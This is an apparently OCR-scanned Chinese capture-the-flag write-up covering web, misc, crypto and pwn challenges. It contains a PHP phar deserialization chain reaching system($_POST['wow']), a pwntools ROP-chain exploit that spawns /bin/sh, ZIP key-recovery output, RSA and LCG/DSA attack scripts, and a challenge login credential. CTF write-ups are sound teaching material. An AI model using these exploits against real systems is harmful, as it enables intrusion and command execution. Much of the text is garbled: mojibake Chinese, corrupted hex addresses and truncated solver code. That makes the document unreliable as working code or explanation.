public function __invoke(){
$this—>good="You'll be good tommoraw!<br>";
echo $this—>good;
}
public function __get($argl){
$this—bad="You'll be bad tommoraw!<br>";
}

}
class future{

private $impossible="How can you get here?<br>";

private $out;

private $no;

public $usefull;public $useful2;public $useful3;public $usefuld;public
$useful5;public $usefulé;public $useful7;public $usefuls8;public
$useful9;public $usefull®;public $usefulll;public $usefull2;public
$usefull3;public $usefulld;public $usefull5;public $usefull6;public
$usefull7;public $usefull8;public $usefull9;public $usefullo;

public function __set($argl, $arg2) {
if ($this—out—useful7) {
echo "Seven is my lucky number<br>";
system('whoami');

}

public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";

}

public function __destruct(){
$this—no = "no";
return $this—no;

$a=new yesterday();
$a—>study=new today();
$a—>study—>doing=new future();
echo serialize($a);

XIEFHAkE Ebase6U_encode IR, HEEEESfilenane,

BEiZiBlshell, AfGwowEPOSTES, ME—TIEARD, flagEiET=.

TREAfRET 23 &7 (Efh)




WEB-{TAXHLIE? (8
{n)

F—RaRy:

$a=new yesterday();
$a—>study=new today();

$a—>study—>doing=new future();
echo serialize($a);

payload{&XA :

$phar = new Phar("phar.phar");

$phar—startBuffering();

$phar—>setStub("<?php _HALT_COMPILER(); ?>"); //i&&stub
$a=new yesterday();

$a—>study=new today();

$a—>study—>doing=new future();

$phar—>setMetadata($a); //IBEEHENXMImeta-datafFAmanifest
$phar—addFromString("test.txt", "test"); //iINEEFEHISHE
//EZBHMItE

$phar—>stopBuffering();

RiEEphar . phar/54R%E . atg. X@Ephar :// i¥Fzip :// thilBEE, FREESRE
Ha, #BeTLufTphar :// tiMdisEEY,

if (file exists($ GETL filename’ ])) {

echo “Focus on the previous step!<br>”

phar :// ¥ #file_exists QR EREMA, FERFFILKRIT.

SRFEPOSTIESwowiH{TRCEFI .
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WEB-TG_wordpress

Sample Page&kIWME, AILFIBRIGEZ NN HEIRE.

TG_wordpress Sample Page

Sample Page

AAAZZE/INME ——From a noname hacker

N H B HENAM
XEREA SRR

MISC


af://n556
af://n560

O/E 4 BT IR IXRT? (bushi)

Tr'\f\mf-:i LaYa Wi

logoBFNER, jphideRmJLAEIhint,

RE
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ERRIEFCrapp

ARADIRIRapk, RIEFEFEEREEhint

CRYPT

B E]: .DS_Storef2iEBER

< C A F&2  101.37.149.223:33376/.DS_Store/?dir=crypt

i IRE =/ crypt

BERAR

hint.bin

out.pem
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fEEAIrsa,

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_OAEP

with open("out.pem", "rb") as f:
key = RSA.import_key(f.read())

with open("hint.bin", "rb") as f:
ciphertext = f.read()

cipher_rsa =
plaintext =
print(plaintext.decode())

PKCS1_OAEP.new(key)

PWN

a5 robots. txt, HE|/.tmp/vulnFl/.tmp/.bak, &IM52013ixmO/FaIHIRvuln
HpwnBRSS. EIRENLEXP:

from pwn import *
from struct import pack
io=process('./pwn')

p=b|l

pack('<Q', 0x0000000000409f9e)
pack('<Q', 0x0000000000U4c50e0)
pack('<Q', 0x000000000041948L)
b'/bin//sh’

pack('<Q', 0x0000000000LUa5e5)
pack('<Q', 0x0000000000409f9e)
pack('<Q', 0x0000000000U4c50e8)
pack('<Q', 0x000000000043d350)
pack('<Q', 0x00000000004Ua5e5)
pack('<Q', 0x0000000000L401F2F)
pack('<Q', 0x0000000000L4c50e0)
pack('<Q', 0x0000000000L09F9e)
pack('<Q', 0x0000000000U4c50e8)
pack('<Q', 0x0000000000U47f2eb)
pack('<Q', 0x00000000004c50e8)
pack('<Q', Ox4141410141414141)
pack('<Q', 0x0000000000L3d350)
pack('<Q', 0x0000000000471350)
pack('<Q', 0x0000000000L471350)
pack('<Q', 0x0000000000L471350)
pack('<Q', 0x0000000000471350)
pack('<Q', 0x0000000000L471350)
pack('<Q', 0x0000000000471350)

T © © U © U © T © T T T T T T T T T T T T T ™

H OH OH HF H H H H HE HHHEHEH HE R RE H K

cipher_rsa.decrypt(ciphertext)

pop rsi ; ret
@ .data
pop rax ; ret

mov qword ptr [rsi], rax ; ret
pop rsi ; ret

@ .data + 8

Xor rax, rax ; ret

mov qword ptr [rsi], rax ; ret
pop rdi ; ret

@ .data

pop rsi ; ret

@ .data + 8

pop rdx ; pop rbx ; ret

@ .data + 8

padding

XOr rax,

add rax,

add rax,

add rax,

add rax,

add rax,

add rax,
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p
P
p
p
p
p
P
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
P
p
p
p
p
P
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p

+=

pack('<Q',
paCk('<Q' ]
pack('<Q"',
paCk('<Q' ]
pack('<Q"',
pack('<Q',
paCk('<Q' ]
pack('<Q"',
paCk('<Q' ]
pack('<Q"',
pack('<Q',
paCk('<Q' ]
pack('<Q"',
paCk('<Q' ]
pack('<Q"',
pack('<Q",
paCk('<Q' ]
pack('<Q"',
paCk('<Q' ]
pack('<Q"',
pack('<Q',
paCk('<Q' ]
paCk('<Q'1
paCk('<Q' ]
pack('<Q"',
pack('<Q',
paCk('<Q' ]
paCR('<Q'1
paCk('<Q' ]
pack('<Q"',
pack('<Q',
paCk('<Q' ]
paCR('<Q'1
paCk('<Q' ]
pack('<Q"',
paCk('<Q' ]
paCk('<Q' 1
pack('<Q",
paCk('<Q' ]
pack('<Q"',
paCk('<Q' ]
paCk('<Q' 1
pack('<Q",
paCk('<Q' ]
pack('<Q"',
paCk('<Q' ]
paCk('<Q' ]
pack('<Q",
paCk('<Q' ]
pack('<Q"',
paCk('<Q' ]
paCk('<Q' 1
pack('<Q",
paCk('<Q' ]

0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000471350)
0x0000000000401ced)

payload=b'a'*(0x20+8)+p

H OH HF HF H H HF HEHE HHFHEHEHHEHEHEHHEHHEHHEHEHEFEHEHEHFHE R R HE R E R HEHEFEHRE R HEE R R HE R E R R

add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add
add

rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,
rax,

syscall

P PR R RRPRRPRPRRRPRRPRPRPRPRERRRBRRPRPRPEPRERRRBRRPRPRPRBEPRRRPBRRPRPRPRPEPRRRBRRPRPRPEPRERRRRPRPRRPEPRERRBRRRR




io.recv()
io.sendline(payload)
io.interactive()

HINT(Cnot flag/FLAG):
username/password:
TG_wordpressor
aXx"oV@K&cFoVaztQ*

All hints have the same content
obtaining one is enough

[REE

ARSERER, AEHNEE.

BRER v
Yl | wman \
28 () | KEA Q) | THREFQ) | BREHERA () ERREEt
wEmeE v || mm
$fE R BB
) Akismet REIRTIE: HIRTOERIP  Akismet BRMESAGES, AHRER LRPENEESBIRBERENRESE, MEECHTN, Adsmet RATRINEOERIPENRL, FAER: 15 BRaHER
T Akismet {Ef, ZAB#N Akismet R ERERE AP B
536 B | #6%: Automattic - RHIRITEEIIA | EEEE
O Akismet RATEIFiE: HIRITCIRIP AHARAAIB, SHMZ 537 NN B,
| WP File Manager Manage your WP files. RAEHER
L f’F%: mndpsingh287 | S ¥1E
- © WP File Manager BHiRAT M, ik 80.1 ¥Ry BT,
WE
O wizsme 1R 25 ERRBENENE, TRIEE—RARLZHAE, REM Louis Armstiong MIIANF: R%F, SF, ERAE, EEEARLASIRENE LABTUES—0RE (KD EREDHEN
B | B 1) ERRINERIRA .
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Archive: End.zip

Index Encryption Compression CRC32 Uncompressed Packed size Name

0 None Store 00000000 0 0 End/
1 ZipCrypto Deflate 9b748abl 182 165 End/flag.zip
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[15:33:29] Z reduction using 77 bytes of known plaintext

100.0 % (77 / 77)

[15:33:30] Attack on 102228 Z values at index &

Keys: b39bc130 8183a9f1 d5381ad8

29.8 % (30440 / 102228)

Found a solution. Stopping.

You may resume the attack with the option: --continue-attack 30440
[15:34:17] Keys

b39bc130 8183a9f1 d538lads

BEI=1EA:

b39bc130 8183a9f1 d5381ad8
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6 6 2 ushort
COMP_STORED (0) 8h : enum COMPTYPE
Ah 4 DOSTIME
DOSDATE
uint
uint
uint
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e g ushort
eName[4] 1 char
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Zlib Inflate ~
Start index nitial output buffer size Buffer expansion
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chunk[137] IDAT (Critical, P... 110681h 200Ch struct PNG_CHUNK
chunk[138 IDAT (Critical, P... 11268Dh  200Ch struct PNG_CHUNK
chunk[139 IDAT (Critical, P... 114699h 200Ch struct PNG_CHUNK
chunk[140] IDAT (Critical, P... 1166A5h 200Ch struct PNG_CHUNK
chunk[141] IDAT (Critical, P... 1186B1h 200Ch struct PNG_CHUNK
chunk[142] IDAT (Critical, P... 11TAGBDRh  200Ch struct PNG_CHUNK
chunk[143] IDAT (Critical, P... 11C6C9h  99Ch struct PNG_CHUNK
chunk[144] IDAT (Critical, P... 11D065h struct PNG_CHUNK

]
]
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{88 final challenge2.png” [E\challenge\B - ERETHIEN ove is the key of the heart\love is the key of the heart)) - TweakPNG
File Edit Insert Options Tools Help

Chunk Length CRC Attributes Contents
IHDR 13 fa%ads0? critical PNG image header: 1248x780, 8 bits/sample, truecolor+alpha, noninterlaced
JIDAT 48809 12falfa8 critical PNG image data
IEND 0 ae426082 critical end-of-image marker
As finalpng 4772k 1248°780BE 272 m' sEgesTiEIAE  oUEs = 2 - o
o e A« -5 %900 B O- BIm [I1s
inal.png

)

BE—KILUFIRIA T Bpng , 1B — N EEERIA 1SRRG —RR flag:

import struct
import os
import sys

def modify_png_widths(input_path, output_dir, start=100, end=2000):
# ISIFPNGIZ{AL
PNG_HEADER = b'\x89PNG\r\n\xla\n'

try:

with open(input_path, 'rb') as f:
original_data = f.read()

# MEEEEAMHIPNGIIHF
if not original_data.startswith(PNG_HEADER):
raise ValueError("AEEMAIPNGIZE")

except Exception as e:




print (F"EEBCHRM: {str(e)}")

return False

# HREHBEREE
try:

os.makedirs(Coutput_dir, exist_ok=True)
except Exception as e:

print(f"8IEEEREM: {str(e)}")

return False

header = original_datal[:16] # PNG3{4sk
footer = original_data[20:] # FE20FTHZEMNFEENE

total = end - start + 1
print (F"FFakbi®, HFER {total} NU&E... ")

for i, width in enumerate(range(start, end + 1), 1):
output_path = os.path.join(output_dir, f"{width}.png")

try:
with open(Coutput_path, 'wb') as f_out:
# PHESUY: L + FIRE(KRR) + FIREGE
f_out.write(Cheader)
f_out.write(struct.pack('>i', width))
f_out.write(footer)

# HEER (Blo%5E1001XHETR—IR)

if i % max(100, total//10) == 0 or i == total:
percent = i/total*100
print(f"HEE: {i}/{total} ({percent:.1f}%)")

except Exception as e:
print (F"4&E/M3H {width}.png £M: {str(e)}")

continue

print("4bE5RE! ")

return True

if _name__ == "_main__":

# ERTA

input_file = r"E:\challenge\EJFERJFZ\love is the key of the heart\love
is the key of the heart\final.png"

output_directory = r"E:\challenge\EBFEAIFIZ \love is the key of the
heart\love is the key of the heart\output"

# TRREALE

success = modify_png_widths(
input_path=input_file,
output_dir=output_directory,
start=100,
end=2000

if not success:
sys.exit(1)
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imglE&iz: E:fchallenge/ElR 2898 love is the key of the heart/love is the key of the heart/final.png

THImgl FREHAT HEHE
[*] Fix-PHGHITRE, B RS FEEXEREN ERTHERE B R

[+] 1T HCRC3Z, AEi=a e, A s S0 (Bt EEE)
[+] BREE: 1125, hex: 0x4E5

[+] BB 000, hex: 0x384

[+ 5626, hex: 0x15fa

[

:
] "-’q'_'-x
+| BE: 180, hex: 0xb4

M & Q « 2> o0 b u o B- O- B8im

It is a truth universally acknowledged,that a single man in possession of a good fortune, must be in want of a wife.However
little known the feelings or views of such a man may be on his first entering a neighbourhood,this truth is so well fixed in
the minds of the surrounding families,that he is considered the rightful property of some one or other of their
daughters."My dear Mr.Bennet,"said his lady to him one day,"have you heard that Netherfield Park is let at last?"Mr.Bennet
replied that he had not."flag{you_are_so;"for Mr.Long has just been here,and she told me all about it."Mr.Bennet made no
answer."Do you not want to know who has taken it?" cried his wife impatiently."You want to tell me,and | have no objection
to hearing it."

flag{you_are_so_attentive_and_conscientious}

MISC-IXElIEo o

THEEI— MBI, 0105 T FF KM B yif 35, BERE RS AT LS H—NUES, 3
HERXTRBRNETR , IR BRI ENES :


af://n861

bchrieih [10] GIFbejaFs “

imgli#iE: Eychallenge/#Esof3E (2)/ output. gif

THimgl FEHIT A

['840, 710, '670) 840,700, 1230, '890°'1110,'1170°'950°,'990°,'970" '1170''1030','1040' '1160, '950"'1170" '1120°,'950",
'1190° 105011601040 '950°, "1 160" '1050", ' 1090, 1010, 330", '1250']

BRUAT AR ¥ asciifBgitT :

TGCTF{You_caught_up_with_time!}

MISC-TeamGipsy&ctfer

1. HIOXTREEER, 827 EUNEEXE, BRI, RNER 8, BEELinuxE
g sad ik KigshiftiHAGRUB, EiRadvanced options for ubuntu, %#FE

recovery mode, HAZE EiFEroot, press enter, #iApasswd hznuctfer, HA
ZhY, EE (reboot)

2.BMANEMRERREEE, AIIHAN, KSEEEERInIn, txt, SAMITUAIGES ST
history, ot —FEURILABEIESLHME 7 M dockerazs, EMSBN F—LHEHE!
NESERRA

B clear

9 docker -v

18 docker run -d --name TeanClpsycifl -e
MYSQL_ROOT _PASSWORD=password_1s_me mysql

11 docker exec -1t TeanGlpsyl bash

12 docker exec -Lt Teanllpiyctfl bash

13 docker run -d --name TeamClpsyctf? -
HYSOL_ROOT_PASSWORD=pasiword_1ls_me mysql

14 docker exec -it TeanGlpsyZ bash

15 docker exec -1t Teandlpiyctf? bash

16 docker -1

17 docker ps

18 docker stop TeamGlpsyctfl

19  docker stop TeanGipsyctf2

20 docker ps

1 exit

22 history

23 history > miml.txt

mimi.tat

FlainTest = TabWidthcB = Le 18, Cod 17 i



af://n866

3. BTSSR, BEIREIERARID (AARBEhRE, REZ2EL245AID),
docker start 9e7aa, FILAEZEImysqlZEBIIAEETeanGipsyctf1EEHE, BIHESE
HETeamGipsyctf2

CONTAINER ID IMAGE COMM, CREATED STATUS PORTS NAMES
root@hznuctfer-virtual-machine: fhomefhznuctfer /Desktop# docker run -d --name Te
anGipsyctfl -e MY ROOT_PASSWORD=password e mysql

docker: Error res e from daemon: Conflict. e contalner name " /TeamGi jetf
1" is already in u by container "9eT7aabtd8ldlcd450a4474755b700ecO0928152663Fb0
B 98a411416c3dba”. You have to remove (or rename) that contailner to be able

use that name.
See 'docker rum --help’'.
root@hznuctfer-virtual-machine: /home/hznuctfer /Desktop® docker ps
CONTAINER ID  IMAGE COMMAND CREATED STATUS
PORTS NAMES
9eTaaédoldic mysql "docker-entrypoint.s..” 7 weeks ago Up 25 seconds
3306 /tcp, 33060/ tcp TeamGipsyctfl

4.docker exec -it ID /bin/bashipSHAXINARE Bamysql mysql —uroot
-p, EREHEnini. txt$, HApassword_is_me, HANEHEE, show databases;
KIfEirdatabase, use TeamGipsy;

corresponds to your MySQL server wversionm Tor the right syntax to use near
at line 1
mysql> show databases;
T — -4
Database
+
TeamGips ) |
information_schema |
L I
ormance schema |
[
*
sec )

5 rows iLn set (8.81 c)

nysql= use TeamGipsy;
Lng table information for completion of table and column names
can turn off this feature to get a quicker startup with -A

5.show tables; HFX®E, CTFFITGE—1k, REETGRIflaghered{8Elflag 154:
select * from TG

flaghere

1 | HZNUCTF{OH! YOu_are_really_the_TeamGipsy ctfer}

row in set (8.880




MISC-[AIEXFE

MISC-next is the end

FE=EBRR, everythingBEE GBI AILAT , g

CRTPTO-AAAAAAAA - E - Z£3

ERIDE: HHEBM

ISR

BIRFlagB N BT T

oo onpn
2, BflagEAT? ? ??

FHEFENALT

KNSRI EANGTF, 222

IR B SRR TGCTFHLAIE

WP:

TGCTF FF3k, 5 ucBre BANFEHEE 1 0 -1 -2 -3, BILAKRIVERERRLAVFEL,


af://n877
af://n879
af://n883

EATLAREL {3 1R, - BFE, ALIEWSHRFAREAZR.

HFREEXTMHALEEN—T, BEEKFHREEZERIEEESA.

IRRENFREEAEFE. HFMEESEIMSHRTM (1) , TLUENRTEEREA
AL

.isupper():
+= chr(Cord(c)-ord( )-
+= chr(Cord(c)-ord( )-

.isupper():
+= chr(Cord(c)-ord(
+= chr(Cord(c)-ord(

.isdigit():
+= chr(Cord(c)-ord(
+= chr(Cord(c)-ord(




FLAG: TGCTF{w0oe0!YOuU_5R3_GOOD_AT_MOVE}

CRTPTO-mmAERIE3EH

ERELE: gedofiEn

(872N, ¢, god DREn, RHEER T

(ATl

€=67061023599901209984628372156905967472571280495080795501072596810364235
9765806

n=810544624661213367964996895060815354972889892659483914827620308805539190
7479553
e=65537

only rsa, just do it

WP:


af://n903
af://n912

RIEE B2 FeeIgEloMEn, oI IEES#E.
factordb, sagefifactori®#f. vafurff. sympyfAIfactorintFEH(EEHkIE.

(Tl

CRTPTO-EZErsa

ERIDE: B, REEIIE

TMBigiA: Hdouble

IZER, BB, SF—EoIRMe, FED /e BRI,

CRTPTO—tRwS1Ans

: BXRBERBE

it
il
clk
o

i
I
it
5

AR If? x2

WP:
BEXEERE, B,

B e=31R/\, AILIEEZRES$c_1$. $c_2$AIFIAT(, {CA$h1S, $h2$, (RERSm$, &f5
KRS FRI—TTIRTSHE


af://n925
af://n934

$(c_1-c_2)==Ch_1-h_2)((h_172+h_1h_2+h_2"2)+3m"2+3m*(h_1+h_2)) \bmod
n$

(ATl

CRTPTO—-EzRsA

EERLE: 1B, coppersmith, eflphifHZ. crt

BREA: ezrsa@

WP
zls,um-n SEENEuC emojiiiiii‘ XANREN, BRATIFSHABRT, ITBO—TFK

.randint (0,

BARMNEFARE EAHTEemojifSEE, SLiRiRiISEEN,
HREER, FE$p_03, 578N emoji, FEIX/\ M emojifSEERIAT,

.Util.number

printChex(min([ .encode())

printChex(max (L[ .encode())

AJLABZIX L emo j 1RIBHEER T, SEEESLR), I ERBERECEET.
SR AR S


af://n945

MEE 7 256{UAYS$pS, SLPrEiH T8 emojiKlE, AJLUEZEI1 M emojiRUNFTS; LR
$p$HYERE9 MNemoji, BP288(:, ANRFIEIXFE N NemojiFk(iIFial copperdi Y., X
MEERNVBN 7, &%F LERA,

copperfiE$n$/a, AIMSphistise$FEE, BEFERIFEFAS+HERIREERHSFlags

.Util. number

(p0[0].encode())
(p0.encode())
(n)I[1]
(range(- . )):
+1) %2 %% +
*X+

.monic().small_roots(2** ,

= int(res[0])

*

+ ( +1) %2 %%

( .encode())
C(e//15, (p-1)*(q-1))

(pd) 1

= f.roots()
= [r[o]

(D[]

= f.roots()

= [r[e]

(intCcrt([int(a),int(b)], [int(p), int(q)1)))




print(m.decode())

HIXER base_emoji BNT $p_0$RIE—, IRHSTEE3307, BEEHNRY, ERILAGEIVEE, B
& M AREEFDIR.

SEFR BASE_ENMOJIIIII = 0xf09f9880 , SEEIE[O,64), SEEiHEM0ji(1857) |
EmojiAll

CRTPTO-LLLCG

ERDE: DSAMRIEER. LCGKES

WP: LCG+DAS
LCGER

BT RZ12BIRE, HYseed_n = aseed_{n-3}+bseed{n-2}+c*seed{n-1}+d
\pmod m$, FIFEFEFIREEKE—T, ez,

Bix—:
(1)
EUFEBAILCG: $seed_n=a*seed_{n-1}+b \pmod n$, HEPFTUERICIESDSIHIRE

RITMMUERS$ERIZENT, BRESaSNRE, A FEREERISas, RE$gcd$KIGEL
$m$, NMEX—LEAKEERNBTERIH.

XBEREZTIIANRE, BRE—R—F, GLEEESa$—HiEESa, b, c$, REFIE,


https://www.emojiall.com/zh-hans/all-emojis?type=normal
af://n964

BRIRKIm$ETHOIRBIRHISERESd ¢, b, a$, BRASTKSas, EHESDSRIREBIITNTRE
$S_x=S_yxa \pmod m$, $S_x,S_y$i=zHAIE, BARAILUELSaS, MFEET—IRIT
FERFEARIESa, b, ¢, d$. HESHEE, F0lexp, I, FETHEISm$EHMER S
iZK$abcd$, XEGEHRHSE.

hiEZ:
FHGrobner EffREIRSGTEAH, NMIKElcgiiSE]

ideal.groebner_basis()
Bix=:
tEFERE, FFsagedRYsolve_left

DSA&ERTY

X—ERSEEEIERT, WETLCGHYRSE, EETLUTELCGGEENE—MNRE, Z18%x=
(sseed_n-h)inverse(r,q)\bmod q$. $x$2EE, ATLAEHEEEMESSE, FHIENSE
ZRFEIEAS, REBEEERNESEREMATHNANBSESHT.

fEFShRJexp, BRAMIIR

*

.ntheory.residue_ntheory
.Util.number *

TriplelLCG:
__init__ (self,
self.state = [
self.a
self.b
self.c
self.d
self.n

next(self):
= (self.a * self.state[-3] + self.b * self.state[-2] + self.c =
self.state[-1] + self.d) % self.n
self.state.append(new)




.recvuntil(
.recvuntil( )

= int(re.recvuntil(
.recvuntil( )

= int(re.recvuntil(
.recvuntil( )

= int(re.recvuntil(
.recvuntil( )

= int(re.recvuntil(

).decode()[:-1]1)
).decode()[:-1])
) .decode()[:-11)
).decode()[:-11)

.recvuntil(
.recvuntil(
.sendline(

= [1

range(lll):
.recvuntil(

.sendline( )
.recvuntil( )

= int(re.recvuntil(
.recvuntil( )
= eval(re.recvuntil(

.append(crt( ,

).decode[:-11)

J[e1)

range(

range(
range(
range(

[i] -
1
)]
) - 1):

[i] = [
range(len( ) -
range(3, len(

).decode()[:-11)

)]
)]
)]

range(len(ss) -
range(len(a0d) -
range(len(b0) -

range(len(sss) -

)_

range(len(




.extend(
¢ [i+ 1] * [i] -
1 - + 1] = [i + kDD
range(len( ) - K1
¢ (o], (11
range(2, len( )):
' [i1)

))

( [el, n) %

(eI » (bbe[e], n)

[0] + b *» bo[e])) * (
[31 - b » s[4] - c * s[5]1) %

(k[-31, k[-21, k[-1], a, b,
range(307):
= .next()
.recvuntil(
.recvuntil( )
.sendline( )
=[]
range(10):
.recvuntil(

.sendline( )

.recvuntil( )

= int(re.recvuntil( ).decode()[:-11)
.recvuntil( )

= int(re.recvuntil( ) .decode()[:-11)
.extend([r, s1)

).digest())

.next() - h) =*

).digest())

.next()
pow(g, k, p) %
( (k, 9) * C(h + x[0] * r)) %

.recvuntil(

.recvuntil(

.sendline(

.recvuntil(

.recvuntil(

.sendline(

.recvuntil(

.recvuntil(
.sendline(str(r).encode())
.recvuntil( ))
.recvuntil( )




.sendline(str(s).encode())
.interactive()

XEEZFHnuSecwp, TLIEEAKLCGERD, BHIFIRIEZEDSARIHNPREHIERSF KK
Bskdix

KTHNEISFIIE, B 7160AIx, REB128(IAVKk, FETRF.

XEARFMEF, RIZHEEEE. goodgood
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